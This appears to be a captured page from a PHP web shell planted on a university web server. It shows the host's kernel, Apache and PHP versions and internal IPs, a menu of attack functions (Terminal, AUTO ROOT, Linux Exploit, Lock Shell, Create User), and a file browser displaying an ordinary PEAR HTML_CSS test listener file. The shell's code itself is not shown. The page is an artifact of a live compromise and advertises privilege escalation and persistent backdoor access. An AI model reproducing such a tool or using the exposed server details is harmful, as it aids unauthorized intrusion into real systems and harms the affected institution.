Linux ns1.utparral.edu.mx 6.8.0-79-generic #79~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Fri Aug 15 16:54:53 UTC 2 x86_64
Apache/2.4.58 (Unix) OpenSSL/1.1.1w PHP/8.2.12 mod_perl/2.0.12 Perl/v5.34.1
: 10.10.1.9 | : 10.10.1.254
Cant Read [ /etc/named.conf ]
daemon
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
README
+ Create Folder
+ Create File
/
opt /
lampp /
lib /
php /
test /
HTML_CSS /
tests /
[ HOME SHELL ]
Name
Size
Permission
Action
AllTests.php
4.07
KB
-rw-r--r--
HTML_CSS_TestSuite_Bugs.php
20.26
KB
-rw-r--r--
HTML_CSS_TestSuite_Output.php
4.07
KB
-rw-r--r--
HTML_CSS_TestSuite_Standard.php
58.42
KB
-rw-r--r--
phpunit.xml
825
B
-rw-r--r--
stylesheet.css
1.4
KB
-rw-r--r--
TestListener.php
2.4
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : TestListener.php
<?php /** * Test listener for HTML_CSS if you used PEAR_TestListener * * PHP version 5 * * @category HTML * @package HTML_CSS * @author Laurent Laville <pear@laurent-laville.org> * @license http://www.opensource.org/licenses/bsd-license.php BSD * @version CVS: $Id: TestListener.php,v 1.1 2009/07/03 17:22:05 farell Exp $ * @link http://pear.php.net/package/HTML_CSS * @link http://pear.laurent-laville.org/pepr/PEAR_TestListener/ * @since File available since Release 1.5.4 */ require_once 'PEAR/TestListener.php'; /** * This class allow to listen additional information provided by Event_Dispatcher * into bugs tests suite (HTML_CSS_TestSuite_Bugs.php), * only when level is set to PEAR_LOG_DEBUG * * PHP version 5 * * @category HTML * @package HTML_CSS * @author Laurent Laville <pear@laurent-laville.org> * @license http://www.opensource.org/licenses/bsd-license.php BSD * @version Release: 1.5.4 * @link http://pear.php.net/package/HTML_CSS * @link http://pear.laurent-laville.org/pepr/PEAR_TestListener/ * @since Class available since Release 1.5.4 */ class HTML_CSS_TestListener extends PEAR_TestListener { public function __construct(Log_composite $logger, Event_Dispatcher $dispatcher = null) { /* don't forget to call parent class constructor if you want to attach the SplObserver Interface => PEAR_TestListener::update */ parent::__construct($logger, $dispatcher); } public function update($subject) { try { list ($notifyName, $notifyInfo, $notifyObj) = $this->splSubjectAdapter($subject); } catch (InvalidArgumentException $e) { return; } switch ($notifyName) { case 'startTest' : $this->logger->log( sprintf( "Parsing data %s %s", PHP_EOL, var_export($notifyInfo, true) ), PEAR_LOG_DEBUG ); break; case 'endTest' : $this->logger->log( sprintf( "Parsing results %s %s", PHP_EOL, var_export($notifyInfo, true) ), PEAR_LOG_DEBUG ); break; case 'endTestSuite' : parent::update($subject); break; } } } ?>
Close